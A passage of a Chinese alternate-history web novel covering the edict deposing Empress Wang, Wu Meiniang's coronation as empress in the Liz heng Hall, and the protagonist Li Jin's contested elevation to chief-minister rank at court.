“ 而 故 皇 后 王 氏, 本 自 良 家, 早 膺 懿 选。 朕 昔 在 储 贰, 特 荷 先 慈, 常 得 侍 从, 弗 离 左 右。 及 登 大 位, 立 为 皇 后。 然 其 人 器 识 庸 浅, 性 行 悍 妒, 既 无 关 雎 之 德, 复 乏 肃 雍 之 美。 朕 每 加 训 导, 冀 其 改 悟。 而 王 氏 恬 恶 不 悛, 变 本 加 厉, 竟 敢 行 厌 胜 巫 蛊 之 术, 咒 诅 君 父, 谋 害 储 君, 人 神 共 愤, 天 地 不 容! 其 父 仁 祐, 身 为 冢 宰, 贪 墨 狼 藉, 纵 子 为 恶, 侵 蚀 国 本, 实 为 巨 蠹! 父 女 同 恶, 罪 证 确 凿, 已 依 律 严 惩。 王 氏 既 失 妇 道, 又 亏 臣 节, 岂 可 复 忝 位 中 宫, 母 仪 天 下? 着 即 废 为 庶 人, 移 置 别 院, 永 不 得 出。 其 皇 后 册 宝, 一 并 追 夺。 布 告 中 外, 咸 使 闻 知。**”
诏书首先以严厉的笔触,系统总结了废后王氏的“罪状”:从“器识庸浅”、“性行悍妒”的性格缺陷,到“无德无行”的品行指控,最终落脚于“厌胜巫蛊”、“诅咒君父储君”的十恶不赦大罪,并连带其父王仁祐的贪墨之罪,强调“父女同恶”,彻底断绝了王氏及其家族任何翻身的可能性。用词犀利,定性严酷,不留丝毫余地。
这一段念罢,殿中寂静无声。废后之事虽早已执行,但以如此正式的“制书”昭告天下,明确罪状,仍给人以强烈的震撼。长孙无忌等人面无表情,但紧握玉笏的手指关节微微泛白。
许敬宗略作停顿,深吸一口气,提高了声调,继续宣读诏书后半部分,那真正牵动所有人神经的内容:
“ 中 宫 久 旷, 国 之 大 典。 朕 祇 奉 宗 祧, 夙 夜 兢 兢, 思 得 贤 淑, 共 承 天 绪。 咨 尔 武 氏, 故 荆 州 都 督 士 彟 之 女, 门 著 勋 庸, 地 华 缨 冕。 往 以 才 行, 选 入 后 庭。 誉 重 椒 闱, 德 光 兰 掖。 朕 昔 在 储 贰, 特 荷 先 慈, 常 得 侍 从, 弗 离 左 右。 妃 嫔 之 间, 未 尝 迕 目。 圣 情 鉴 悉, 每 垂 赏 叹, 遂 以 武 氏 赐 朕, 事 同 政 君, 可 立 为 皇 后。”
来了!册立新后的旨意!诏书以极为巧妙的笔法,处理了武媚娘“曾侍先帝”这个最敏感的问题。它先肯定武媚娘出身“门著勋庸,地华缨冕”(其父武士彟是开国功臣),然后说她“以往才行,选入后庭”,承认其曾为太宗才人。但紧接着,笔锋一转,强调“朕昔在储贰,特荷先慈,常得侍从,弗离左右。妃嫔之间,未尝迕目。” 这是说,皇帝做太子时,因为先帝(太宗)和先皇后(长孙皇后)的慈爱,得以常常在宫中侍奉,与后宫妃嫔时有照面,但从未有过越礼之事(“未尝迕目”)。然后,最关键的一句来了——“圣情鉴悉,每垂赏叹,遂以武氏赐朕,事同政君,可立为皇后。”
“圣情”指先帝太宗,“赏叹”是赞赏。意思是,先帝了解情况(指武媚娘的才德,以及皇帝与武氏之间并无私情),常常赞赏,于是将武氏赐给了当时还是太子的朕,就像当年汉宣帝将宫女王政君赐给太子(后来的汉元帝)一样,因此,可以立为皇后。
这简直是神来之笔!它完全颠倒了时间顺序和因果关系,将武媚娘从“先帝才人”变成了“先帝赏识其才德、特赐给太子”的“礼物”,从而在法理和伦理上,彻底洗刷了“父子聚麀”的嫌疑,将其类比为汉代“王政君”的典故(王政君原为宫女,被赐给太子,后成皇后、太后),使其身份变得“合法”、“荣耀”。这无疑是许敬宗(很可能有李瑾的润色)绞尽脑汁、在既有历史事实夹缝中找到的、最有利于武媚娘上位的解释框架!
殿中许多官员,尤其是那些熟读经史的,听到“事同政君”四字,心中皆是一震,随即涌起复杂的情绪。这解释……虽略显牵强,但引经据典,确实堵住了“**”指责的最大缺口。长孙无忌等人脸色更加难看,他们自然听出了其中的机巧,但在“先帝赐予”这个冠冕堂皇的理由面前,一时竟也难以直接反驳。
“ 而 武 氏 自 居 宫 掖, 德 行 优 娴, 恪 守 礼 法, 虔 心 佛 事, 仁 明 孝 友, 柔 顺 谦 恭。 抚 下 以 和, 待 人 以 恕, 六 宫 之 内, 罔 不 归 心。 朕 每 观 其 行 止, 察 其 言 论, 深 协 朕 心, 实 堪 母 仪 之 任。 况 屡 有 祥 瑞, 兆 应 斯 人, 天 意 所 归, 非 朕 敢 私。**” 诏书继续罗列武媚娘的“美德”与“祥瑞”,将其塑造为一个近乎完美的皇后人选。
“ 是 用 命 使 持 节, 授 以 册 宝, 立 尔 为 皇 后。 尔 其 抵 奉 懿 训, 虔 恭 中 馈, 帅 导 六 宫, 作 范 八 纮, 达 聪 明 而 备 内 职, 彰 淑 慎 而 穆 人 伦。 无 忝 我 高 祖、 太 宗 之 休 烈, 永 贻 亿 载 之 令 闻。 钦 此!” 许敬宗以高昂的语调,念完了最后册封与勉励之词,将诏书高举过顶。
“ 吾 皇 万 岁, 万 岁, 万 万 岁!” 殿中百官,无论心思如何,此刻皆跪伏在地,山呼万岁。长孙无忌、褚遂良等人亦缓缓跪下,垂下的眼帘掩去了眸中所有的情绪,但那微微颤抖的袍袖,泄露了他们内心的惊涛骇浪。
皇帝李治端坐御座,目光缓缓扫过丹墀下跪伏的众臣,最后定格在那卷明黄的诏书上,脸上露出一丝如释重负又充满威严的笑容。他知道,从这一刻起,废王立武,大局已定!
“制书既下,着有司择吉日,行册后大典!” 皇帝朗声道,“礼部、太常寺、宗正寺即日筹备,一应仪制,务求隆重庄严,以彰 国 体! 中 书 门 下 即 刻 将 此 诏 颁 行 天 下, 咸 使 闻 知!”
“臣等遵旨!”
当日下午,这道废王皇后、立武媚娘为皇后的“制书”,便以最快的速度,由中书省发往门下省审核用印(此刻无人敢拦),继而通过尚书省六部、各州县驿传,如同插上了翅膀,飞向帝国的每一个角落。同时,长安城各主要城门、市集、官署门前,也由金吾卫护送礼部官员,当众张贴黄榜,宣示诏书内容。
消息如同燎原的烈火,瞬间点燃了整个长安,进而以惊人的速度向四方辐射。朝野上下,市井坊间,无论贵族官僚、士子商贾,还是寻常百姓,皆在议论这桩震动天下的大事。有人为皇帝的果决和“废恶立贤”而称颂,有人为武媚娘的传奇际遇而惊叹,也有人为礼法的“变通”和王氏家族的覆灭而唏嘘、忧虑乃至愤懑。但无论如何,木已成舟,新的皇后已经产生,大唐帝国的历史,自此翻开了崭新的一页,也预示着,一个与以往迥然不同的政治时代,即将来临。
绮云阁中,当宣旨的内侍恭敬地将诏书内容禀报于武媚娘时,她正对镜梳妆。闻言,她执梳的手微微一顿,望着镜中那张依旧年轻美丽、却已蕴藏了太多风霜与谋算的面容,良久,缓缓放下玉梳,起身,面朝太极殿方向,郑重下拜,声音平静无波,却带着一种穿透岁月的力量:
“臣妾……武媚,叩谢 天 恩。 必 当 恪 守 妇 道, 虔 奉 宗 庙, 辅 佐 陛 下, 母 仪 天 下, 不 负 圣 望。”
礼毕起身,她走到窗边,望向宫外长安城的万家灯火,以及更遥远、更不可测的未来,眸中光芒璀璨,如星河倒卷,又似深渊无垠。
崇仁坊李宅,李瑾接到王掌柜的急报,展开抄录的诏书全文,细细读罢,尤其是“事同政君”四字,嘴角终于露出一丝由衷的、释然的微笑。他走到院中,仰望苍穹。夏夜星空,浩瀚无垠。
废后风波,至此,终于以武媚娘的胜利、皇帝的威权彰显、以及旧有权力格局的松动而告终。然而,这胜利并非终点,而是另一个更加波澜壮阔、也更加凶险莫测的时代的开端。新的皇后,新的权力格局,新的挑战与机遇,都已在这初夏的夜空下,悄然拉开了序幕。
但无论如何,今夜,是属于胜利者的夜晚。明日朝阳升起时,一个属于武媚娘,也属于他李瑾的、全新的舞台,将正式呈现在他们面前。
第78章 媚娘正位中宫
贞观二十四年,六月十六,大吉,宜册封、移徙、安床。
自五月中“废王立武”的诏书颁行天下,一月有余的光阴,在礼部、太常寺、宗正寺、内侍省乃至整个长安官府的全力筹备与高效运转下,如白驹过隙,倏忽而逝。这一个月,朝堂上下似乎进入了一种微妙的、心照不宣的“静默期”。长孙无忌、褚遂良等元老重臣,在最初的惊怒、挫败与难以言喻的沉重之后,似乎默认了“废王立武”的既成事实,在公开场合不再对此事发表任何激烈言论,每日上朝、议政,神色肃穆,公事公办,但那沉寂之下涌动的暗流,明眼人皆能感知。皇帝李治则趁此“平静”之机,进一步稳固权威,推进“督行实务”诸事,并时常驾临绮云阁,与即将成为皇后的武媚娘商议册封大典的细节,偶尔亦就某些朝政听听她的见解,帝后之间的默契与信任,在无数个这样看似寻常的午后对谈中,悄然深化、凝结。
而武媚娘,这一个月是她人生中最为忙碌、也最为关键的“过渡”与“预备”期。她没有急于搬入立政殿,依旧居于绮云阁,但这里已不再是那个清幽静修之所,而是俨然成了整个后宫乃至前朝部分目光的焦点。礼部、尚宫局、内侍省的官员、女史络绎不绝,呈报典礼仪程、核对服饰器用、教导册封礼仪。皇帝钦点了德高望重的德妃(韦氏)与贤妃(郑氏)从旁协助,实则亦有让后宫妃嫔提前适应、认可新后权威之意。武媚娘对二位妃嫔执礼甚恭,凡事多有请教,态度温婉谦和,令德、贤二妃心中本有的些许芥蒂与不安,也渐渐消融不少。
她每日需花大量时间学习、记忆那繁复无比的册封仪轨,从受册、受宝、谒庙、朝贺到接受内外命妇拜见,每一步皆有严格定式,不容丝毫差错。同时,她还要亲自过问新后礼服、凤冠、车驾的样式与制作,在遵循礼制的前提下,融入了一些自己审慎的、不失庄重的偏好。内侍省呈上的立政殿修缮、布置方案,她也细细审阅,提出了几处关乎实用与舒适的调整。她展现出惊人的精力、记忆力与对细节的掌控力,令那些原本对新后能力心存疑虑的官员、女官暗自咋舌,不敢轻慢。
在这令人眼花缭乱的筹备间隙,她并未忘记那些“故人”与“助力”。她通过刘神威,向郭老夫人传递了深切的谢意与安抚,并暗示未来必有回报。对秋月、冬雪等从兰心苑便跟随她、历经磨难的宫女,她给予了充分的信任与提拔,秋月将升任立政殿掌事宫女之一,冬雪负责贴身器物,哑巴内侍(已痊愈)也被安排了一个相对清闲但安稳的差事。对于尚在禁足中的萧淑妃,她只对德妃淡淡提了一句“萧淑妃性情刚烈,禁足期间,一应用度勿缺,着太医按时请脉,莫要出了差池”,既显大度,也隐含告诫。至于冷宫中那位已成庶人的王氏,她未置一词,仿佛那人从未存在。
六月十六,寅时三刻(凌晨四点),长安城尚沉浸在最深沉的夜色之中,皇城内外却已是灯火通明,人影幢幢。太极宫、立政殿、承天门、朱雀大街……所有与册封大典相关的宫苑、道路,皆被清洗洒扫得纤尘不染,铺上了崭新的红色地衣,悬挂起华丽的宫灯与彩绦。金吾卫甲士盔明甲亮,沿御道肃立,气象森严。参加大典的文武百官、宗室亲王、外藩使节,皆已身着最庄重的朝服或礼服,按照品阶爵位,在指定位置静候。空气中弥漫着檀香、菊花的清冽气息,以及一种近乎凝固的、盛大典礼特有的肃穆与激动。
绮云阁内,武媚娘早已起身。沐浴、熏香、更衣、梳妆……在数十名经验丰富的尚宫、宫女侍奉下,每一项程序都一丝不苟,庄重有序。她身着特制的祎衣,深青质地,织有五彩翟雉(野鸡)纹样,象征皇后身份;头戴九龙四凤冠,冠上金龙腾跃,凤凰展翅,镶嵌明珠宝玉,光华璀璨,虽沉重无比,她却脊背挺直,纹丝不动;腰间束玉革带,佩双白玉佩;足踏赤舄(红色厚底礼鞋)。脸上施以精致的宫妆,眉如远山,唇点朱丹,额间贴着精巧的花钿。这一身装扮,华贵庄严至极,将她的容颜衬托得既威仪天成,又美得惊心动魄。然而,最令人移不开目光的,是她那双沉静如深潭、却又仿佛蕴藏着星辰大海的眼眸,历经磨难与筹谋后淬炼出的从容、智慧与不容侵犯的威仪,已非任何华服美饰所能赋予。
辰时正,吉时到。庄严悠扬的礼乐声中,皇帝李治身着衮冕,先于太极殿升座。接着,在礼官引导、卤簿仪仗簇拥下,武媚娘乘坐重翟车(皇后专用车驾,装饰华丽,以雉羽为饰),自绮云阁出发,经由宫内御道,缓缓驶向太极殿。车驾所过之处,宫人、内侍、侍卫皆俯首跪拜。车轮碾过御道的细微声响,在肃静的空气中清晰可闻。
抵达太极殿前,武媚娘在女官搀扶下,缓缓下车,步上丹墀。殿前广场,百官宗室,黑压压跪了一地。她目光平视,步伐沉稳,沿着铺就的朱毯,一步步走向那巍峨的殿门,走向她命运的全新起点。阳光洒在她身上的祎衣与凤冠上,折射出耀眼的光华,恍如神女临凡。
进入太极殿,皇帝端坐御座。大殿之内,香雾缭绕,钟磬和鸣。中书令(长孙无忌,依制需由宰相宣读册文)手持皇后册文与宝绶(皇后印玺),立于殿中。尽管心中万般不愿,但在此国之大典上,长孙无忌神色肃穆,无懈可击。
“维贞观二十四年,岁次甲子,六月庚子朔,十六日乙卯。皇帝若曰:” 长孙无忌的声音洪亮而沉稳,开始宣读正式的册后诏书。内容与先前颁行天下的制书大体相仿,但更为详尽庄重,再次强调了武媚娘的“淑德”、“贤明”、“天意所归”,以及“事同政君”的合法性。
“…… 是用 命 使 持 节, 授 尔 册 宝, 立 为 皇 后。 尔 其 钦 哉!” 长孙无忌读完最后一句,双手将盛放册文(玉册)与宝绶的金盘高举。
武媚娘在赞礼官指引下,趋步上前,在御阶之下,面向皇帝,郑重下拜,三跪九叩,行最隆重的大礼。然后起身,再次下拜,从中书令长孙无忌手中,恭敬地接过那象征皇后至高权位的册与宝。
“ 臣 妾 武 媚, 叩 谢 天 恩! 必 当 恪 尽 妇 道, 虔 奉 宗 庙, 辅 佐 陛 下, 母 仪 天 下, 夙 夜 匪 懈, 以 承 休 命!**” 她的声音清晰、平稳、有力,回荡在寂静的大殿之中,带着一种穿透人心的力量。
皇帝李治脸上露出欣慰而深情的笑容,微微颔首。礼官高唱:“ 礼 成! 新 后 谒 庙!**”
接下来,武媚娘需手持册宝,在仪仗导引下,前往太庙(皇家宗庙),祭告列祖列宗,完成“谒庙”之礼。仪式更为繁复庄重,在太庙中,她需亲自上香、献酒、诵读祝文,向李氏皇族的先祖禀告自己已成为家族新的主母,祈求庇佑。整个过程,她举止合度,神情虔敬,无可挑剔。
谒庙礼毕,已近午时。武媚娘再次乘重翟车,返回后宫,但目的地不再是绮云阁,而是——立政殿。
立政殿,这座曾属于王皇后、承载了无数荣耀、算计与最终倾覆的宫殿,如今已焕然一新。殿宇重新漆过,雕梁画栋,光彩熠熠。殿内陈设悉数更换,既保留了皇家应有的富丽堂皇,又因武媚娘的偏好,增添了许多雅致清贵的器物、书画、盆栽。熏香换成了她喜爱的、淡雅宁神的鹅梨帐中香。处处窗明几净,宫人肃立,恭候着新主人的到来。
车驾在立政殿正门前停下。武媚娘在秋月等心腹宫女的搀扶下,缓缓下车。她抬起头,望着殿门上高悬的、在阳光下熠熠生辉的“立政殿”三个鎏金大字,目光沉静,久久不语。三年多前,她离开宫廷,发配感业寺时,何曾想过有朝一日,能以女主人的身份,堂堂正正地踏入此门?而今,她不仅回来了,更将这里,变成了她新的起点与权力中枢。
“恭迎皇后殿下回宫!” 殿前广场上,以德妃、贤妃为首的后宫妃嫔、皇子、公主(年幼者由乳母抱着)、以及立政殿所有宫人,齐齐跪倒,山呼朝拜。声音整齐划一,在殿宇间回荡。
武媚娘目光扫过众人,在德妃、贤妃脸上略作停留,微微颔首,然后抬手,声音温和而清晰:“ 平 身。 诸 位 都 辛 苦 了。 今 后 同 在 宫 中, 还 望 互 相 体 谅, 恪 守 本 分, 共 同 辅 佐 陛 下, 安 定 六 宫。 都 起 来 吧。**”
“谢皇后殿下!” 众人再拜,方才起身。
武媚娘不再多言,迈步,踏入了立政殿高高的门槛。殿内熟悉的布局,却因主人的更易而显得气象迥然。她径直走向正殿的凤座——那把曾经属于王皇后,如今已被彻底改造、铺设崭新锦垫的宽大座椅。她没有立刻坐下,而是伸出手,轻轻抚过光滑冰凉的扶手,感受着那其中蕴含的无上权力与沉重责任。
片刻,她转身,在秋月的搀扶下,缓缓坐于凤座之上。脊背挺直,双手交叠置于膝上,目光平静地望向殿门之外,望向那广袤的宫廷与更远的天下。
“传本宫旨意,” 她开口,声音不高,却带着凤座天然赋予的威严,“ 立 政 殿 所 属 一 应 宫 人, 各 司 其 职, 谨 守 规 矩。 自 即 日 起, 六 宫 事 务, 皆 需 报 于 本 宫 知 晓。 德 妃、 贤 妃 协 理 有 功, 仍 从 旁 佐 助。 另, 赐 立 政 殿 上 下 宫 人 三 月 俸 赏, 以 示 嘉 勉。 晓 谕 六 宫。”
“是!谨遵皇后殿下懿旨!” 殿中女官、内侍齐声应诺,声音中透着敬畏与一丝新朝新气象的振奋。
“还有,” 武媚娘顿了顿,补充道,“ 本 宫 初 掌 宫 务, 诸 事 繁 冗。 着 尚 宫 局, 将 近 年 来 后 宫 用 度 账 册、 人 员 名 录、 宫 规 旧 例 等 文 卷, 整 理 妥 当, 三 日 内 送 至 立 政 殿, 以 便 本 宫 查 阅。”
“是!”
命令清晰,条理分明,既施恩以示宽仁,又立刻着手掌控实权,熟悉情况。短短数语,已初步展露出她治理后宫的思路与手腕。德妃、贤妃交换了一个眼神,皆看到对方眼中的复杂与叹服。这位新后,绝非易于之辈。
午后,皇帝李治驾临立政殿。帝后于殿中叙话,帝关怀备至,后恭谨温婉,一派和谐。皇帝更带来旨意,加封武媚娘之父武士彟为周国公(追赠),母杨氏为代国夫人,以示恩荣。同时,对在“废王立武”过程中有功的臣子,亦各有封赏,其中许敬宗晋中书侍郎,李义府晋吏部侍郎,而李瑾,因“督行实务卓有成效,于揭破邪祟、肃清吏治亦有功”,特加银青光禄大夫(从三品散官,荣誉衔),仍兼将作监少监、秘书少监、督行实务使,并赐紫金鱼袋(三品以上服紫,佩金鱼袋),荣耀更甚。
夜幕降临,立政殿内灯火辉煌,却已不复白日的喧嚣,渐渐归于帝后独处的宁静。武媚娘终于卸下了那身沉重的祎衣凤冠,换上了常服,独自立于寝殿窗边,望着窗外宫苑中次第亮起的灯火,以及天边那弯皎洁的新月。
一日之间,她从“武美人”、“武昭仪”(诏书中曾拟封号,但最终直接立后),变成了母仪天下的皇后,入主这象征后宫权力巅峰的立政殿。身份、地位、权力,皆已不同。然而,她心中并无多少志得意满的狂喜,只有一片冰凉的、越发清晰的清明与沉重如山的责任感。
前路依旧漫漫。长孙无忌等元老虽暂退,其势未消;萧淑妃禁足,其心不死;后宫妃嫔,人心各异;前朝政务,千头万绪;皇帝虽信任,然帝王之心,深不可测;更有那隐在暗处、对“女主”抱有天然敌意的无数目光……
但她已不再是那个在感业寺中枯坐、在兰心苑中瑟瑟发抖的弱女子。她是皇后武媚,手握册宝,身居正宫,内有皇帝支持,外有李瑾等盟友策应。她将以这立政殿为基,以皇后之尊为凭,开始她真正意义上的、波澜壮阔的政治生涯。
她轻轻抚过窗棂,指尖冰凉。远处,更鼓声隐隐传来。
长夜方始,而她,已准备好迎接一切挑战,去驾驭那不可测的命运洪流,去书写属于她武媚娘,也属于这个时代的、全新的篇章。
第79章 瑾升门下省
武媚娘正式册立为后、入主立政殿的盛大典礼,如同一场席卷帝国上下的政治飓风,不仅彻底重塑了后宫格局,其引发的连锁反应与权力余波,更以前所未有的深度与烈度,持续冲刷、重塑着贞观末年的长安朝堂。新后正位,意味着以皇帝李治为核心的皇权力量,在历经与顾命元老集团的反复拉锯与激烈交锋后,终于取得了阶段性、且具有标志性意义的胜利。而伴随胜利而来的,自然是对功臣的酬赏、对既有权力版图的重新划分,以及对未来朝政走向的明确宣示。
册后大典次日,皇帝并未举行大朝,而是下旨,于紫宸殿召见三省六部主要官员、诸寺监长官及部分在京勋贵重臣,举行了一次规模不大但级别极高的“御前议政”。这无疑是对前一日盛大典礼的某种延续与深化,亦是对新后权威的再次确认与加持。
紫宸殿内,气氛与往日的朝会略有不同,少了几分太极殿的刻板肃穆,多了几分亲近,却也因参与者的特殊与议题的敏感,而暗藏机锋。皇帝李治端坐御案之后,神色舒展,眉宇间带着一股志得意满的锐气。新后武媚娘并未临朝(依制皇后不预常朝),但其存在感,却仿佛透过皇帝的神情、透过殿中某些官员微妙的态度,无处不在。
议政从相对平和的边防、漕运事务开始,皇帝询问,重臣奏对,一切如常。然而,当话题被引导至“褒奖有功、激励来者”时,殿中的空气瞬间变得凝滞而微妙起来。
皇帝的目光缓缓扫过殿中众臣,最后落在了文官班列靠前位置的李瑾身上,脸上露出温和的笑意:“前番‘督行实务’,成效斐然;‘格物所’创新,利国利民;揭破厌胜邪祟,肃清宫闱;佐查吏治积弊,亦有功劳。李瑾,你年未及而立,而能屡建实绩,忠心体国,朕心甚慰。前已加你银青光禄大夫,赐紫金鱼袋,以示嘉勉。然,赏 功 酬 劳, 乃 朝 廷 励 才 之 道。 朕 思 之 再 三, 觉 此 尚 不 足 以 酬 卿 之 功, 亦 不 足 以 使 天 下 才 俊 知 朕 求 贤 若 渴 之 心。”
皇帝此言一出,殿中许多人的心都提了起来。尤其是长孙无忌、褚遂良等人,脸色虽依旧平静,但眼神已变得格外幽深。他们知道,对李瑾这个“实学”派核心、新后最坚定的朝中盟友的重赏,是皇帝巩固胜利果实、进一步彰显权威的关键一步,也必将触及他们敏感的神经。
果然,皇帝继续道:“ 朕 观 卿 才 具, 不 仅 在 于 实 务 格 物, 于 经 国 大 略、 朝 政 机 要, 亦 常 有 卓 见。 如 今 ‘ 督 行 实 务’ 诸 事, 牵 涉 农 工 商 贸、 边 海 防 务, 已 非 将 作 监 一 署 所 能 统 筹 协 调。 需 更 高 层 级, 方 能 顺 畅 推 行, 以 收 实 效, 惠 及 天 下。 故, 朕 决 意——”
他顿了顿,目光如电,字字清晰:“ 着 李 瑾, 加 授 同 中 书 门 下 三 品, 仍 兼 将 作 监 少 监、 督 行 实 务 使, 其 银 青 光 禄 大 夫、 秘 书 少 监 如 故。 即 日 起, 入 政 事 堂 议 事, 参 决 机 务!**”
同中书门下三品!入政事堂议事!
这十个字,如同十道惊雷,接连在紫宸殿中每一位重臣的心头炸响!饶是众人早有心理准备,皇帝会对李瑾大加封赏,也万万没想到,竟会是如此破格、如此惊人的擢升!
“同中书门下三品”,并非一个具体的官职,而是一个标志性的头衔。在唐代,非侍中、中书令等正职宰相,而加“同中书门下三品”或“同平章事”等衔,即意味着拥有宰相职权,可进入设于门下省的“政事堂”,与宰相们一同商议、决策国家最高军政要务!这是无数官员终其一生梦寐以求、却难以企及的政治巅峰!李瑾以不到三十之龄,以“实学”、“格物”晋身,竟一跃而跻身宰相之列,得以参决机务!这已不仅仅是酬功,更是皇帝在明确宣示:“实学”派、革新力量,将正式进入帝国最高决策核心!未来的朝政风向,将发生根本性转变!
殿中出现了短暂的、近乎凝滞的寂静。许多官员,尤其是那些非关陇出身的、或对“实学”抱有同情乃至期待的官员,在最初的震惊之后,眼中渐渐涌起激动、羡慕乃至振奋的光芒。许敬宗、李义府等人更是喜形于色,若非在御前,几乎要抚掌称庆。而长孙无忌、褚遂良、韩瑗、来济等元老重臣,脸色则在瞬间变得极为难看,仿佛被人当众狠狠掴了一掌,又似看到最不愿见到的局面终究无可避免地发生。
“陛下!” 褚遂良第一个按捺不住,出列躬身,声音因极力压抑情绪而微微发颤,“陛下酬功励才,臣等岂敢有议?然, 宰 相 者, 佐 天 子, 总 百 官, 治 万 民, 非 德 高 望 重、 经 验 老 成、 通 晓 经 国 大 体 者 不 可 为! 李 瑾 年 少, 虽 有 薄 技, 然 于 经 史 典 章、 朝 廷 故 实、 天 下 大 势, 恐 所 知 有 限。 骤 登 相 位, 参 决 机 务, 臣 恐 其 力 有 未 逮, 反 误 国 事, 亦 非 爱 才 之 道。 且 我 朝 成 例, 未 有 以 工 技 之 臣 直 入 政 事 堂 者, 此 例 一 开, 恐 淆 乱 朝 廷 用 人 之 本, 滋 生 侥 幸 之 心。 还 望 陛 下 三 思!**”
褚遂良的反对,集中在三点:李瑾年轻、经验不足、非经史正途出身,且破“工技之臣”入政事堂的先例。这代表了传统士大夫对“实学”出身者掌权的本能排斥与优越感。
“褚公此言差矣!” 不等皇帝开口,新任中书侍郎许敬宗立刻出列反驳,他如今地位提升,反驳的底气也更足,“ 用 人 之 道, 在 于 因 才 任 使, 不 拘 一 格。 李 少 监 之 才, 岂 止 ‘ 薄 技’? 献 牛 痘 活 人 无 数, 制 明 玻 新 纸 惠 及 四 方, 献 寰 宇 图 开 朝 野 眼 界, 行 实 务 新 政 富 国 强 兵, 此 皆 实 实 在 在 之 功, 经 国 济 世 之 才! 何 谓 ‘ 所 知 有 限’? 至 于 年 少, 昔 霍 去 病 十 八 封 侯, 二 十 出 塞 建 不 世 之 功, 岂 因 年 少 而 掩 其 才 ? 陛 下 圣 明, 破 格 用 才, 正 是 打 破 常 例、 激 励 创 新 之 举, 何 来 ‘ 淆 乱 用 人 之 本’ 之 说 ? 此 正 是 彰 显 陛 下 求 贤 若 渴、 不 拘 出 身 之 明 君 气 象!”
许敬宗言辞犀利,以实绩驳“薄技”,以霍去病典故驳“年少”,并将皇帝破格用人拔高到“激励创新”、“明君气象”的高度,反驳得有理有据,气势十足。
“许侍郎巧言令色!” 韩瑗也忍不住出列,沉声道,“霍去病乃军事奇才,然 宰 相 之 职, 非 仅 军 功 或 奇 技 可 任。 需 通 晓 典 章 制 度, 熟 稔 吏 治 民 情, 协 调 百 官, 稳 定 朝 局。 李 瑾 所 长, 在 工 技 实 务, 于 此 等 宰 相 之 要 务, 恐 非 所 长。 陛 下 爱 才, 可 使 其 专 司 实 务, 或 于 六 部 择 一 历 练, 待 其 经 验 丰 富, 再 行 擢 拔, 方 是 稳 妥 之 道。 骤 登 高 位, 恐 非 福 也。**”
韩瑗的反对相对“温和”务实,承认李瑾的专长,但认为其缺乏宰相所需的综合协调与政治经验,建议先历练。
这时,一直沉默的司空李勣,忽然缓缓开口,声音不高,却让殿中再次一静:“韩侍郎所言,不无道理。宰相之位,确需阅历。然,” 他话锋一转,看向御座,“陛下既以‘同中书门下三品’授李瑾,命其入政事堂议事, 便 是 让 其 在 宰 相 之 位 上 学 习、 历 练, 参 与 机 务, 增 长 见 识。 有 长 孙 太 尉、 褚 侍 中 等 老 成 谋 国 之 臣 在 侧, 加 以 指 点, 想 来 亦 无 大 碍。 且 李 瑾 所 司 ‘ 督 行 实 务’, 牵 涉 甚 广, 入 政 事 堂, 更 利 于 协 调 诸 司, 推 行 陛 下 新 政。 老臣以为, 陛 下 此 举, 用 心 深 远, 可 行。**”
李勣再次展现了他举重若轻的政治智慧。他没有直接说支持或反对,而是从“学习历练”、“有老臣指点”、“利于协调新政”等“务实”角度,为皇帝的任命提供了一个合情合理、且让反对派难以驳斥的解释框架。既给了皇帝台阶,也给了长孙无忌等人面子(“老成谋国之臣在侧指点”),更强调了此举对推行新政的“必要性”。这番话,看似中立,实则再次有力地支持了皇帝。
长孙无忌深深看了李勣一眼,心中复杂难言。他知道,李勣的态度,在很大程度上代表了军方和部分务实派官员的看法。皇帝提拔李瑾入政事堂,虽有破格,但确实着眼于“协调推行新政”这个当前皇帝最关心的要务,且李瑾的“实绩”摆在那里,一味以“出身”、“经验”反对,在皇帝决心已定、且有李勣这等重臣“理解”的情况下,已难以奏效。若再强行反对,只会进一步激化矛盾,显得自己等人固步自封、排斥新人,于己不利。
皇帝李治将众人的反应尽收眼底,尤其是李勣的表态,让他心中大定。他缓缓开口,语气平和却带着不容置疑的决断:“诸卿所虑,朕皆明白。然, 非 常 之 时, 当 有 非 常 之 举。 我 大 唐 欲 开 拓 进 取, 富 国 强 兵, 不 能 固 守 成 例, 拘 泥 资 格。 李 瑾 之 才, 朕 深 知 之。 其 入 政 事 堂, 一 则 为 酬 其 功 劳, 二 则 正 为 使 其 在 宰 辅 之 位, 更 好 地 统 筹 实 务, 推 行 新 政, 三 则 亦 是 向 天 下 表 明 朕 破 格 用 才、 励 精 图 治 之 心。 长 孙 无 忌、 褚 遂 良, 尔 等 皆 是 三 朝 老 臣, 经 验 丰 富, 日 后 在 政 事 堂 中, 还 需 多 加 指 点 李 瑾, 使 其 尽 快 熟 悉 机 务, 共 佐 朝 廷。 此 事, 不 必 再 议。”
皇帝一锤定音。既肯定了破格用人的必要性,明确了李瑾入政事堂的三大目的(酬功、推行新政、宣示决心),又给了长孙无忌、褚遂良“指点”的责任和面子,将可能的对抗转化为“老臣带新人”的合作框架,政治手腕可谓圆熟。
话已至此,长孙无忌等人纵有万般不甘,也知道再争无益,反而会触怒皇帝,显得不识大体。长孙无忌深吸一口气,与褚遂良交换了一个眼神,终于缓缓躬身:“陛下圣虑深远,臣等……谨遵圣谕。必当尽心辅佐, 共 佐 圣 治。**” 最后四字,说得颇为艰难。
褚遂良、韩瑗、来济等人亦只能跟着躬身领命,脸色晦暗。
“臣,李瑾,叩谢陛下天恩!” 李瑾出列,行至御阶之前,郑重跪拜,声音平稳而有力,“陛下隆恩,擢臣于 不 次, 寄 以 重 任, 臣 诚 惶 诚 恐, 感激涕零。臣自知年轻识浅,经验未丰,骤登 枢 要, 如 履 薄 冰。 然 陛 下 信 重 若 此, 臣 唯 有 肝 脑 涂 地, 竭 尽 驽 钝, 以 报 万 一。 于 政 事 堂 中, 臣 必 当 虚 心 向 长 孙 太 尉、 褚 侍 中 等 诸 位 前 辈 学 习, 恪 尽 职 守, 协 调 诸 司, 全 力 推 进 ‘ 督 行 实 务’ 及 陛 下 所 定 诸 项 新 政, 绝 不 敢 有 负 圣 望!”
他的表态,谦逊诚恳,将姿态放得极低,强调“学习”、“恪尽职守”、“推进新政”,既回应了皇帝的期许,也一定程度上安抚了反对派的情绪(至少表面如此)。
“好!” 皇帝抚掌微笑,“卿有此心,朕心甚慰。望卿与诸相公同心协力,共襄盛治。退下吧。”
“谢陛下!”
